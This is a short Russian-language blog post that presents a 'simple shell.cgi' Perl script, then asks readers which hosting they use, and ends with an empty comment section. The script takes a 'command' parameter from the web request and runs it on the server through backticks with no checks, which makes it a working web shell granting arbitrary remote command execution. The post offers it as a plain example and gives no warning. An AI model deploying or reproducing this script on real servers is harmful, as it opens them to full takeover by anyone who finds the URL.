Пример простого shell.cgi скрипта на perl:
#!/usr/bin/perl use strict; use warnings; use CGI; print CGI::header( -type => 'text/plain' ); my $command = CGI::param('command'); print "$command\n"; my @out=`$command 2>&1`; print @out;
А каким хостингом пользуетесь Вы?
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.